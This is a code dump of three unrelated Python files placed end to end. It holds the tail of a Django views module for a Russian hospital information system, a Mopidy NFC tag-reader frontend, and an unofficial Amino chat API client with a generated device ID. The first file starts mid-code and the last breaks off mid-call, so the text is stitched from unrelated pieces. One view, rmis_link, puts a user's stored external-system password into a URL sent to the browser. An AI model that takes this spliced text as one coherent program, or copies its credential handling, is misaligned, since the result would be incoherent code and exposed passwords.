doc.position_id or -1, } return JsonResponse({"user": data}) @login_required @group_required("Создание и редактирование пользователей") def user_save_view(request): request_data = json.loads(request.body) pk = request_data["pk"] ok = True message = "" ud = request_data["user_data"] username = ud["username"] rmis_location = str(ud["rmis_location"]).strip() or None rmis_employee_id = str(ud["rmis_employee_id"]).strip() or None rmis_service_id_time_table = str(ud["rmis_service_id_time_table"]).strip() or None rmis_login = ud["rmis_login"].strip() or None rmis_password = ud["rmis_password"].strip() or None personal_code = ud.get("personal_code", 0) rmis_resource_id = ud["rmis_resource_id"].strip() or None snils = ud.get("snils").strip() or '' position = ud.get("position", -1) if position == -1: position = None user_hospital_pk = request.user.doctorprofile.get_hospital_id() hospital_pk = request_data.get('hospital_pk', user_hospital_pk) can_edit = request.user.is_superuser or request.user.doctorprofile.all_hospitals_users_control or hospital_pk == user_hospital_pk if not can_edit: return JsonResponse({"ok": False}) npk = pk if pk == -1: if not User.objects.filter(username=username).exists(): user = User.objects.create_user(username) user.is_active = True user.save() doc = users.DoctorProfile(user=user, fio=f'{ud["family"]} {ud["name"]} {ud["patronymic"]}') doc.save() doc.get_fio_parts() npk = doc.pk else: ok = False message = "Имя пользователя уже занято" doc = None else: doc = users.DoctorProfile.objects.get(pk=pk) if pk and doc and (not doc.user.is_superuser or request.user.is_superuser): if ud["password"] != '': doc.user.set_password(ud["password"]) doc.user.save() if pk != -1 and doc.user.username != ud['username']: if not User.objects.filter(username=username).exists(): doc.user.username = username doc.user.save() else: ok = False message = "Имя пользователя уже занято" if ok: doc.user.groups.clear() for g in ud["groups"]: group = Group.objects.get(pk=g) doc.user.groups.add(group) doc.user.save() doc.restricted_to_direct.clear() for r in ud["restricted_to_direct"]: doc.restricted_to_direct.add(DResearches.objects.get(pk=r)) doc.users_services.clear() for r in ud["users_services"]: doc.users_services.add(DResearches.objects.get(pk=r)) spec = ud.get('speciality', None) if spec == -1: spec = None doc.podrazdeleniye_id = ud['department'] doc.specialities_id = spec doc.family = ud["family"] doc.name = ud["name"] doc.patronymic = ud["patronymic"] doc.fio = f'{ud["family"]} {ud["name"]} {ud["patronymic"]}' doc.rmis_location = rmis_location doc.rmis_employee_id = rmis_employee_id doc.rmis_service_id_time_table = rmis_service_id_time_table doc.personal_code = personal_code doc.rmis_resource_id = rmis_resource_id doc.hospital_id = hospital_pk doc.snils = snils doc.position_id = position if rmis_login: doc.rmis_login = rmis_login if rmis_password: doc.rmis_password = rmis_password else: doc.rmis_login = None doc.rmis_password = None doc.save() return JsonResponse({"ok": ok, "npk": npk, "message": message}) def slot_status(x): s = 0 pk = None n = directions.Napravleniya.objects.filter(rmis_slot_id=x["slot"]).first() if n: pk = n.pk s = 1 if n.is_all_confirm(): s = 2 return {"code": s, "direction": pk} @login_required def user_location(request): request_data = json.loads(request.body) date = request_data["date"] d = {} rl = request.user.doctorprofile.rmis_location if rl and SettingManager.get("l2_rmis_queue", default='false', default_type='b'): if rl == 1337 and request.user.is_superuser: from rmis_integration.client import Patients d = Patients.get_fake_reserves() else: from rmis_integration.client import Client c = Client(modules=['patients']) d = c.patients.get_reserves(date, rl) d = list(map(lambda x: {**x, "status": slot_status(x)}, d)) return JsonResponse({"data": d}) @login_required def user_get_reserve(request): request_data = json.loads(request.body) pk = request_data["pk"] patient_uid = request_data["patient"] rl = request.user.doctorprofile.rmis_location if rl: if rl == 1337 and request.user.is_superuser: from rmis_integration.client import Patients d = Patients.get_fake_slot() else: from rmis_integration.client import Client c = Client(modules=['patients']) d = c.patients.get_slot(pk) n = directions.Napravleniya.objects.filter(rmis_slot_id=pk).first() d["direction"] = n.pk if n else None ds = directions.Issledovaniya.objects.filter(napravleniye=n, napravleniye__isnull=False).first() d['direction_service'] = ds.research_id if ds else -1 if d: return JsonResponse({**d, "datetime": d["datetime"].strftime('%d.%m.%Y %H:%M'), "patient_uid": patient_uid, "pk": int(str(pk)[1:]) if str(pk).isdigit() else str(pk)}) return JsonResponse({}) @login_required def user_fill_slot(request): slot = json.loads(request.body).get('slot', {}) slot_data = slot.get('data', {}) if directions.Napravleniya.objects.filter(rmis_slot_id=slot["id"]).exists(): direction = directions.Napravleniya.objects.filter(rmis_slot_id=slot["id"])[0].pk else: result = directions.Napravleniya.gen_napravleniya_by_issledovaniya( slot["card_pk"], "", "ОМС", "", None, request.user.doctorprofile, {-1: [slot_data["direction_service"]]}, {}, False, {}, vich_code="", count=1, discount=0, parent_iss=None, rmis_slot=slot["id"], ) direction = result["list_id"][0] return JsonResponse({"direction": direction}) @login_required def job_types(request): types = [{"pk": x.pk, "title": x.title} for x in directions.TypeJob.objects.filter(hide=False)] g = Group.objects.filter(name="Зав. лабораторией").first() is_zav_lab = (g and g in request.user.groups.all()) or request.user.is_superuser users_list = [request.user.doctorprofile.get_data()] if is_zav_lab: for user in users.DoctorProfile.objects.filter(user__groups__name__in=["Лаборант", "Врач-лаборант"]).exclude(pk=request.user.doctorprofile.pk).order_by("fio").distinct(): users_list.append(user.get_data()) return JsonResponse({"types": types, "is_zav_lab": is_zav_lab, "users": users_list}) @login_required def job_save(request): data = json.loads(request.body) ej = directions.EmployeeJob(type_job_id=data["type"], count=data["count"], doc_execute_id=data["executor"], date_job=try_strptime(data["date"]).date()) ej.save() return JsonResponse({"ok": True}) @login_required def job_list(request): data = json.loads(request.body) date = try_strptime(data["date"]).date() g = Group.objects.filter(name="Зав. лабораторией").first() is_zav_lab = (g and g in request.user.groups.all()) or request.user.is_superuser users_list = [request.user.doctorprofile] if is_zav_lab: for user in users.DoctorProfile.objects.filter(user__groups__name__in=["Лаборант", "Врач-лаборант"]).exclude(pk=request.user.doctorprofile.pk).order_by("fio").distinct(): users_list.append(user) result = [] for j in directions.EmployeeJob.objects.filter(doc_execute__in=users_list, date_job=date).order_by("doc_execute", "-time_save"): result.append({"pk": j.pk, "executor": j.doc_execute.get_fio(), "type": j.type_job.title, "count": j.count, "saved": strdatetime(j.time_save), "canceled": bool(j.who_do_cancel)}) return JsonResponse({"list": result}) @login_required def job_cancel(request): data = json.loads(request.body) j = directions.EmployeeJob.objects.get(pk=data["pk"]) g = Group.objects.filter(name="Зав. лабораторией").first() is_zav_lab = (g and g in request.user.groups.all()) or request.user.is_superuser if is_zav_lab or j.doc_execute == request.user.doctorprofile: if data["cancel"]: j.canceled_at = timezone.now() j.who_do_cancel = request.user.doctorprofile else: j.canceled_at = j.who_do_cancel = None j.save() return JsonResponse({"ok": True}) def reader_status(request): data = json.loads(request.body) reader_id = data.get('readerId', 'null') data = json.loads(cache.get(f'reader-status:{reader_id}', '{"status": "none"}')) return JsonResponse({"status": data.get('status'), "polis": data.get('polis'), "fio": data.get('fio'), 'details': data.get('details', {})}) def reader_status_update(request): data = json.loads(request.body) reader_id = data.get('readerId') if not reader_id: return JsonResponse({"ok": True}) status = data['status'] if status == 'inserted': polis = data['polis'] fio = data['fio'] cache.set(f'reader-status:{reader_id}', json.dumps({"status": 'inserted', "polis": polis, "fio": fio, "details": data['details']}), 10) else: cache.set(f'reader-status:{reader_id}', '{"status": "wait"}', 10) return JsonResponse({"ok": True}) def actual_districts(request): data = json.loads(request.body) card_pk = data.get('card_pk') rows = District.objects.all().order_by('-sort_weight', '-id').values('pk', 'title', 'is_ginekolog') rows = [{"id": -1, "label": "НЕ ВЫБРАН"}, *[{"id": x['pk'], "label": x["title"] if not x['is_ginekolog'] else "Гинекология: {}".format(x['title'])} for x in rows]] users = users_by_group(['Лечащий врач'], request.user.doctorprofile.get_hospital_id()) users = [{"id": -1, "label": "НЕ ВЫБРАН"}, *[{'id': row[0], 'label': row[1]} for row in users]] purposes = DoctorCall.PURPOSES purposes = [{'id': row[0], 'label': row[1]} for row in purposes] hospitals = Hospitals.objects.filter(hide=False).order_by('short_title').values('pk', 'short_title', 'title', 'code_tfoms') hospitals = [{"id": -1, "label": "НЕ ВЫБРАНО"}, *[{"id": x['pk'], "label": x["short_title"] or x["title"], "code_tfoms": x["code_tfoms"]} for x in hospitals]] if card_pk is not None: card_hospital_id = -1 if SettingManager.l2('tfoms'): card = Card.objects.get(pk=data['card_pk']) enp = card.individual.get_enp() if enp: from_tfoms = match_enp(card.individual.get_enp()) if from_tfoms and from_tfoms.get('unit_code'): card_hospital_id = {x['code_tfoms']: x['id'] for x in hospitals if x.get("code_tfoms")}.get(from_tfoms['unit_code']) or -1 else: card_hospital_id = -1 if card_hospital_id == -1 and len(hospitals) == 2: card_hospital_id = hospitals[1]['id'] data = {'rows': rows, 'docs': users, 'purposes': purposes, 'hospitals': hospitals, 'hospitalId': card_hospital_id} return JsonResponse(data) def hospitals(request): data = json.loads(request.body) if request.user.is_authenticated and request.user.doctorprofile: any_hospital = request.user.doctorprofile.all_hospitals_users_control else: any_hospital = False filters = {} if request.user.is_authenticated and request.user.doctorprofile: if data.get('filterByUserHospital') and not any_hospital: filters['pk'] = request.user.doctorprofile.get_hospital_id() rows = Hospitals.objects.filter(hide=False, **filters).order_by('-is_default', 'short_title').values('pk', 'short_title', 'title', 'code_tfoms') else: rows = [] default_hospital = [] if any_hospital: default_hospital = [ { "id": -1, "label": "Все", "code_tfoms": "000000", }, { "id": -2, "label": "Не выбрано", "code_tfoms": "000001", }, ] result = { "hospitals": [ *[ { "id": x['pk'], "label": x["short_title"] or x["title"], "code_tfoms": x["code_tfoms"], } for x in rows ], *default_hospital, ] } if hasattr(request, 'plain_response') and request.plain_response: return result return JsonResponse(result) def rmis_link(request): d = request.user.doctorprofile d_pass = urllib.parse.quote(d.rmis_password or '') d_login = d.rmis_login or '' auth_param = URL_RMIS_AUTH.replace('userlogin', d_login).replace('userpassword', d_pass) if d.hospital.rmis_org_id and d.rmis_service_id_time_table and d.rmis_employee_id: url_schedule = URL_SCHEDULE.replace('organization_param', d.hospital.rmis_org_id).replace('service_param', d.rmis_service_id_time_table).replace('employee_param', d.rmis_employee_id) else: url_schedule = None return JsonResponse({'auth_param': auth_param, 'url_eln': URL_ELN_MADE, 'url_schedule': url_schedule}) @login_required def get_permanent_directory(request): request_data = json.loads(request.body) oid = request_data.get('oid', '') return JsonResponse(NSI.get(oid, {})) @login_required @group_required("Конструктор: Настройка скрининга") def screening_get_directory(request): rows = list(ScreeningPlan.objects.all().order_by('sort_weight').values('pk', 'age_start_control', 'age_end_control', 'sex_client', 'research_id', 'period', 'sort_weight', 'hide')) n = 0 for r in rows: if r['sort_weight'] != n: r['sort_weight'] = n p = ScreeningPlan.objects.get(pk=r['pk']) p.sort_weight = n p.save(update_fields=['sort_weight']) n += 1 r['hasChanges'] = False return JsonResponse({"rows": rows}) @login_required @group_required("Конструктор: Настройка скрининга") def screening_save(request): parse_params = { 'screening': as_model(ScreeningPlan), 'service': as_model(DResearches), 'sex': str, 'ageFrom': int, 'ageTo': int, 'period': int, 'sortWeight': int, 'hide': bool, } data = data_parse(request.body, parse_params, {'screening': None, 'hide': False}) screening: Optional[ScreeningPlan] = data[0] service: Optional[DResearches] = data[1] sex: str = data[2] age_from: int = data[3] age_to: int = data[4] period: int = data[5] sort_weight: int = data[6] hide: bool = data[7] if not service: return status_response(False, 'Не передана услуга или исследование') try: if not screening: screening = ScreeningPlan.objects.create(research=service, sex_client=sex, age_start_control=age_from, age_end_control=age_to, period=period, sort_weight=sort_weight, hide=hide) else: screening.research = service screening.sex_client = sex screening.age_start_control = age_from screening.age_end_control = age_to screening.period = period screening.sort_weight = sort_weight screening.hide = hide screening.save() except IntegrityError: return status_response(False, 'Такой скрининг уже есть!') return status_response(True) @login_required def companies(request): rows = [{'id': x.pk, 'label': x.short_title or x.title} for x in Company.objects.filter(active_status=True).order_by('short_title')] return JsonResponse({'rows': rows}) @login_required def input_templates_add(request): data = json.loads(request.body) pk = data["pk"] value = str(data["value"]).strip() value_lower = value.lower() doc = request.user.doctorprofile if ParaclinicUserInputTemplateField.objects.filter(field_id=pk, doc=doc, value=value).exists(): t = ParaclinicUserInputTemplateField.objects.filter(field_id=pk, doc=doc, value=value)[0] if t.value_lower != value_lower: t.value_lower = value_lower t.save() return JsonResponse({"ok": False}) t = ParaclinicUserInputTemplateField.objects.create(field_id=pk, doc=doc, value=value, value_lower=value_lower) return JsonResponse({"ok": True, "pk": t.pk}) @login_required def input_templates_get(request): data = json.loads(request.body) pk = data["pk"] doc = request.user.doctorprofile rows = [{"pk": x.pk, "value": x.value} for x in ParaclinicUserInputTemplateField.objects.filter(field_id=pk, doc=doc).order_by("pk")] return JsonResponse({"rows": rows}) @login_required def input_templates_delete(request): data = json.loads(request.body) pk = data["pk"] doc = request.user.doctorprofile ParaclinicUserInputTemplateField.objects.filter(pk=pk, doc=doc).delete() return JsonResponse({"ok": True}) @login_required def input_templates_suggests(request): data = json.loads(request.body) pk = data["pk"] value = str(data["value"]).strip().lower() doc = request.user.doctorprofile rows = list( ParaclinicUserInputTemplateField.objects.filter(field_id=pk, doc=doc, value_lower__startswith=value) .exclude(value_lower=value) .order_by('value_lower') .values_list('value', flat=True)[:4] ) return JsonResponse({"rows": rows, "value": data["value"]}) @login_required def construct_menu_data(request): groups = [str(x) for x in request.user.groups.all()] pages = [ {"url": "/construct/tubes", "title": "Ёмкости для биоматериала", "access": ["Конструктор: Ёмкости для биоматериала"], "module": None}, {"url": "/construct/researches", "title": "Лабораторные исследования", "access": ["Конструктор: Лабораторные исследования"], "module": None}, { "url": "/construct/researches-paraclinic", "title": "Описательные исследования и консультации", "access": ["Конструктор: Параклинические (описательные) исследования"], "module": "paraclinic_module", }, {"url": "/construct/directions_group", "title": "Группировка исследований по направлениям", "access": ["Конструктор: Группировка исследований по направлениям"], "module": None}, {"url": "/construct/uets", "title": "Настройка УЕТов", "access": ["Конструктор: Настройка УЕТов"], "module": None}, {"url": "/construct/templates", "title": "Настройка шаблонов", "access": ["Конструктор: Настройка шаблонов"], "module": None}, {"url": "/construct/bacteria", "title": "Бактерии и антибиотики", "access": ["Конструктор: Бактерии и антибиотики"], "module": None}, {"url": "/construct/dplan", "title": "Д-учет", "access": ["Конструктор: Д-учет"], "module": None}, {"url": "/ui/construct/screening", "title": "Настройка скрининга", "access": ["Конструктор: Настройка скрининга"], "module": None}, {"url": "/ui/construct/org", "title": "Настройка организации", "access": ["Конструктор: Настройка организации"], "module": None}, ] from context_processors.utils import make_menu menu = make_menu(pages, groups, request.user.is_superuser) return JsonResponse( { "menu": menu, } ) @login_required def current_org(request): hospital: Hospitals = request.user.doctorprofile.get_hospital() org = { "pk": hospital.pk, "title": hospital.title, "shortTitle": hospital.short_title, "address": hospital.address, "phones": hospital.phones, "ogrn": hospital.ogrn, "www": hospital.www, "email": hospital.email, "licenseData": hospital.license_data, "currentManager": hospital.current_manager, "okpo": hospital.okpo, } return JsonResponse({"org": org}) @login_required @group_required('Конструктор: Настройка организации') def current_org_update(request): parse_params = { 'title': str, 'shortTitle': str, 'address': str, 'phones': str, 'ogrn': str, 'currentManager': str, 'licenseData': str, 'www': str, 'email': str, 'okpo': str } data = data_parse(request.body, parse_params, {'screening': None, 'hide': False}) title: str = data[0].strip() short_title: str = data[1].strip() address: str = data[2].strip() phones: str = data[3].strip() ogrn: str = data[4].strip() current_manager: str = data[5].strip() license_data: str = data[6].strip() www: str = data[7].strip() email: str = data[8].strip() okpo: str = data[9].strip() if not title: return status_response(False, 'Название не может быть пустым') hospital: Hospitals = request.user.doctorprofile.get_hospital() old_data = { "title": hospital.title, "short_title": hospital.short_title, "address": hospital.address, "phones": hospital.phones, "ogrn": hospital.ogrn, "current_manager": hospital.current_manager, "license_data": hospital.license_data, "www": hospital.www, "email": hospital.email, "okpo": hospital.okpo, } new_data = { "title": title, "short_title": short_title, "address": address, "phones": phones, "ogrn": ogrn, "current_manager": current_manager, "license_data": license_data, "www": www, "email": email, "okpo": okpo, } hospital.title = title hospital.short_title = short_title hospital.address = address hospital.phones = phones hospital.ogrn = ogrn hospital.current_manager = current_manager hospital.license_data = license_data hospital.www = www hospital.email = email hospital.okpo = okpo hospital.save() Log.log( hospital.pk, 110000, request.user.doctorprofile, { "oldData": old_data, "newData": new_data, }, ) return status_response(True) @login_required def org_generators(request): hospital: Hospitals = request.user.doctorprofile.get_hospital() rows = [] g: directions.NumberGenerator for g in directions.NumberGenerator.objects.filter(hospital=hospital).order_by('pk'): rows.append( { "pk": g.pk, "key": g.key, "keyDisplay": g.get_key_display(), "year": g.year, "isActive": g.is_active, "start": g.start, "end": g.end, "last": g.last, "prependLength": g.prepend_length, } ) return JsonResponse({"rows": rows}) @login_required @group_required('Конструктор: Настройка организации') def org_generators_add(request): hospital: Hospitals = request.user.doctorprofile.get_hospital() parse_params = { 'key': str, 'year': int, 'start': int, 'end': int, 'prependLength': int, } data = data_parse(request.body, parse_params, {'screening': None, 'hide': False}) key: str = data[0] year: int = data[1] start: int = data[2] end: int = data[3] prepend_length: int = data[4] with transaction.atomic(): directions.NumberGenerator.objects.filter(hospital=hospital, key=key, year=year).update(is_active=False) directions.NumberGenerator.objects.create(hospital=hospital, key=key, year=year, start=start, end=end, prepend_length=prepend_length, is_active=True) Log.log( hospital.pk, 110000, request.user.doctorprofile, { "key": key, "year": year, "start": start, "end": end, "prepend_length": prepend_length, }, ) return status_response(True)
frontend.py
from __future__ import absolute_import, unicode_literals from threading import Thread import traceback import logging import pykka from mopidy import core from .readnfctag import ReadTag logger = logging.getLogger(__name__) __logprefix__ = 'NFCread: ' class NFCread(pykka.ThreadingActor, core.CoreListener): def __init__(self, config, core): super(NFCread, self).__init__() self.core = core self.devicepath = str(config['nfcread']['devicepath']) self.tagReader = ReadTag(self.devicepath, self.ndef_read_callback, self.release_callback) self.tagReaderThread = None def ndef_read_callback(self, data): self.core.tracklist.clear() self.core.tracklist.add(None, None, data, None) self.core.playback.play() # TODO: the action should be configurable def release_callback(self): self.core.playback.stop() self.core.tracklist.clear() def on_start(self): try: self.tagReaderThreaded = Thread(target=self.tagReader.run) self.tagReader.daemon = True self.tagReaderThreaded.start() logger.debug(__logprefix__ + ' started reader thread') except Exception: traceback.print_exc() def on_stop(self): logger.debug(__logprefix__ + 'stopping extension') self.tagReader.stop()
client.py
import json import base64 import time import requests import threading import base64 from uuid import UUID from os import urandom from time import timezone, sleep from typing import BinaryIO, Union from binascii import hexlify from time import time as timestamp from locale import getdefaultlocale as locale from .lib.util import exceptions, headers, objects, helpers, device from .socket import Callbacks, SocketHandler #@dorthegra/IDörthe#8835 thanks for support! device = device.DeviceGenerator() class Client(Callbacks, SocketHandler): def __init__(self, deviceId: str = None, proxies: dict = None, certificatePath = None, socket_trace = False, socketDebugging = False, socket_enabled = True): self.api = "https://service.narvii.com/api/v1" self.authenticated = False self.configured = False self.user_agent = device.user_agent self.session = requests.Session() if deviceId: self.device_id = deviceId else: self.device_id = device.device_id self.socket_enabled = socket_enabled SocketHandler.__init__(self, self, socket_trace=socket_trace, debug=socketDebugging) Callbacks.__init__(self, self) self.proxies = proxies self.certificatePath = certificatePath self.json = None self.sid = None self.userId = None self.account: objects.UserProfile = objects.UserProfile(None) self.profile: objects.UserProfile = objects.UserProfile(None) self.secret = None self.active_live_chats = [] def parse_headers(self, data: str = None, type: str = None): return headers.ApisHeaders(deviceId=self.device_id, data=data, type=type).headers def join_voice_chat(self, comId: str, chatId: str, joinType: int = 1, keep_alive: bool = True): """ Joins a Voice Chat **Parameters** - **comId** : ID of the Community - **chatId** : ID of the Chat """ # Made by Light, Ley and Phoenix data = { "o": { "ndcId": int(comId), "threadId": chatId, "joinRole": joinType, "id": "2154531" # Need to change? }, "t": 112 } data = json.dumps(data) def send_data_loop(data: str): while chatId in self.active_live_chats: self.send(data) time.sleep(60) if keep_alive and chatId not in self.active_live_chats: threading.Thread(target=lambda: send_data_loop(data)).start() self.active_live_chats.append(chatId) else: self.send(data) def join_video_chat(self, comId: str, chatId: str, joinType: int = 1, keep_alive: bool = True): """ Joins a Video Chat **Parameters** - **comId** : ID of the Community - **chatId** : ID of the Chat """ # Made by Light, Ley and Phoenix data = { "o": { "ndcId": int(comId), "threadId": chatId, "joinRole": joinType, "channelType": 5, "id": "2154531" # Need to change? }, "t": 108 } data = json.dumps(data) def send_data_loop(data: str): while chatId in self.active_live_chats: self.send(data) time.sleep(60) if keep_alive and chatId not in self.active_live_chats: threading.Thread(target=lambda: send_data_loop(data)).start() self.active_live_chats.append(chatId) else: self.send(data) def join_video_chat_as_viewer(self, comId: str, chatId: str, keep_alive: bool = True): data = { "o": { "ndcId": int(comId), "threadId": chatId, "joinRole": 2, "id": "72446" }, "t": 112 } data = json.dumps(data) def send_data_loop(data: str): while chatId in self.active_live_chats: self.send(data) time.sleep(60) if keep_alive and chatId not in self.active_live_chats: threading.Thread(target=lambda: send_data_loop(data)).start() self.active_live_chats.append(chatId) else: self.send(data) # I finish this in future def leave_from_live_chat(self, chatId: str): if chatId in self.active_live_chats: self.active_live_chats.remove(chatId) def run_vc(self, comId: str, chatId: str, joinType: str): while chatId in self.active_live_chats: data = { "o": { "ndcId": int(comId), "threadId": chatId, "joinRole": joinType, "id": "2154531" # Need to change? }, "t": 112 } data = json.dumps(data) self.send(data) sleep(60) def start_vc(self, comId: str, chatId: str, joinType: int = 1): data = { "o": { "ndcId": int(comId), "threadId": chatId, "joinRole": joinType, "id": "2154531" # Need to change? }, "t": 112 } data = json.dumps(data) self.send(data) data = { "o": { "ndcId": int(comId), "threadId": chatId, "channelType": 1, "id": "2154531" # Need to change? }, "t": 108 } data = json.dumps(data) self.send(data) self.active_live_chats.append(chatId) threading.Thread(target=lambda: self.run_vc(comId, chatId, joinType)).start() def end_vc(self, comId: str, chatId: str, joinType: int = 2): self.leave_from_live_chat(chatId) data = { "o": { "ndcId": int(comId), "threadId": chatId, "joinRole": joinType, "id": "2154531" # Need to change? }, "t": 112 } data = json.dumps(data) self.send(data) def login_sid(self, SID: str): """ Login into an account with an SID **Parameters** - **SID** : SID of the account """ uId = helpers.sid_to_uid(SID) self.authenticated = True self.sid = SID self.userId = uId self.account: objects.UserProfile = self.get_user_info(uId) self.profile: objects.UserProfile = self.get_user_info(uId) headers.sid = self.sid headers.userId = self.userId if self.socket_enabled: self.run_amino_socket() def login(self, email: str, password: str): """ Login into an account. **Parameters** - **email** : Email of the account. - **password** : Password of the account. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "email": email, "v": 2, "secret": f"0 {password}", "deviceID": self.device_id, "clientType": 100, "action": "normal", "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/auth/login", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: exceptions.CheckException(response.text) else: self.authenticated = True self.json = json.loads(response.text) self.sid = self.json["sid"] self.userId = self.json["account"]["uid"] self.account: objects.UserProfile = objects.UserProfile(self.json["account"]).UserProfile self.profile: objects.UserProfile = objects.UserProfile(self.json["userProfile"]).UserProfile self.secret = self.json["secret"] headers.sid = self.sid headers.userId = self.userId if self.socket_enabled: self.run_amino_socket() return json.loads(response.text) def login_phone(self, phoneNumber: str, password: str): """ Login into an account. **Parameters** - **phoneNumber** : Phone number of the account. - **password** : Password of the account. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "phoneNumber": phoneNumber, "v": 2, "secret": f"0 {password}", "deviceID": self.device_id, "clientType": 100, "action": "normal", "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/auth/login", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) self.run_amino_socket() if response.status_code != 200: exceptions.CheckException(response.text) else: self.authenticated = True self.json = json.loads(response.text) self.sid = self.json["sid"] self.userId = self.json["account"]["uid"] self.account: objects.UserProfile = objects.UserProfile(self.json["account"]).UserProfile self.profile: objects.UserProfile = objects.UserProfile(self.json["userProfile"]).UserProfile self.secret = self.json["secret"] headers.sid = self.sid headers.userId = self.userId if self.socket_enabled: self.run_amino_socket() return json.loads(response.text) def login_secret(self, secret: str): """ Login into an account. **Parameters** - **secret** : Secret of the account. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "v": 2, "secret": secret, "deviceID": self.device_id, "clientType": 100, "action": "normal", "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/auth/login", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) self.run_amino_socket() if response.status_code != 200: exceptions.CheckException(response.text) else: self.authenticated = True self.json = json.loads(response.text) self.sid = self.json["sid"] self.userId = self.json["account"]["uid"] self.account: objects.UserProfile = objects.UserProfile(self.json["account"]).UserProfile self.profile: objects.UserProfile = objects.UserProfile(self.json["userProfile"]).UserProfile headers.sid = self.sid headers.userId = self.userId if self.socket_enabled: self.run_amino_socket() return json.loads(response.text) def register(self, nickname: str, email: str, password: str, verificationCode: str, deviceId: str = device.device_id, timeout: int = None): """ Register an account. **Parameters** - **nickname** : Nickname of the account. - **email** : Email of the account. - **password** : Password of the account. - **verificationCode** : Verification code. - **deviceId** : The device id being registered to. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "secret": f"0 {password}", "deviceID": deviceId, "email": email, "clientType": 100, "nickname": nickname, "latitude": 0, "longitude": 0, "address": None, "clientCallbackURL": "narviiapp://relogin", "validationContext": { "data": { "code": verificationCode }, "type": 1, "identity": email }, "type": 1, "identity": email, "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/auth/register", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath, timeout=timeout) if response.status_code != 200: return exceptions.CheckException(response.text) else: return json.loads(response.text) def restore(self, email: str, password: str): """ Restore a deleted account. **Parameters** - **email** : Email of the account. - **password** : Password of the account. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "secret": f"0 {password}", "deviceID": self.device_id, "email": email, "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/account/delete-request/cancel", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def logout(self): """ Logout from an account. **Parameters** - No parameters required. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "deviceID": self.device_id, "clientType": 100, "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/auth/logout", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: self.authenticated = False self.json = None self.sid = None self.userId = None self.account: None self.profile: None headers.sid = None headers.userId = None if self.socket_enabled: self.close() return response.status_code def configure(self, age: int, gender: str): """ Configure the settings of an account. **Parameters** - **age** : Age of the account. Minimum is 13. - **gender** : Gender of the account. - ``Male``, ``Female`` or ``Non-Binary`` **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ if gender.lower() == "male": gender = 1 elif gender.lower() == "female": gender = 2 elif gender.lower() == "non-binary": gender = 255 else: raise exceptions.SpecifyType() if age <= 12: raise exceptions.AgeTooLow() data = json.dumps({ "age": age, "gender": gender, "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/persona/profile/basic", data=data, headers=self.parse_headers(data=data), proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def verify(self, email: str, code: str): """ Verify an account. **Parameters** - **email** : Email of the account. - **code** : Verification code. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "validationContext": { "type": 1, "identity": email, "data": {"code": code}}, "deviceID": self.device_id, "timestamp": int(timestamp() * 1000) }) response = self.session.post(f"{self.api}/g/s/auth/check-security-validation", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def request_verify_code(self, email: str, resetPassword: bool = False, timeout: int = None): """ Request an verification code to the targeted email. **Parameters** - **email** : Email of the account. - **resetPassword** : If the code should be for Password Reset. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = { "identity": email, "type": 1, "deviceID": self.device_id } if resetPassword is True: data["level"] = 2 data["purpose"] = "reset-password" data = json.dumps(data) response = self.session.post(f"{self.api}/g/s/auth/request-security-validation", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath, timeout=timeout) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code def activate_account(self, email: str, code: str): """ Activate an account. **Parameters** - **email** : Email of the account. - **code** : Verification code. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "type": 1, "identity": email, "data": {"code": code}, "deviceID": self.device_id }) response = self.session.post(f"{self.api}/g/s/auth/activate-email", headers=self.parse_headers(data=data), data=data, proxies=self.proxies, verify=self.certificatePath) if response.status_code != 200: return exceptions.CheckException(response.text) else: return response.status_code # Provided by "𝑰 𝑵 𝑻 𝑬 𝑹 𝑳 𝑼 𝑫 𝑬#4082" def delete_account(self, password: str): """ Delete an account. **Parameters** - **password** : Password of the account. **Returns** - **Success** : 200 (int) - **Fail** : :meth:`Exceptions <aminofix.lib.util.exceptions>` """ data = json.dumps({ "deviceID": self.device_id, "secret": f"0 {password}" }) response = self.session.post(f"{self.api}/g/s/account/delete-request", headers=self.parse_headers(data=data), data=data, 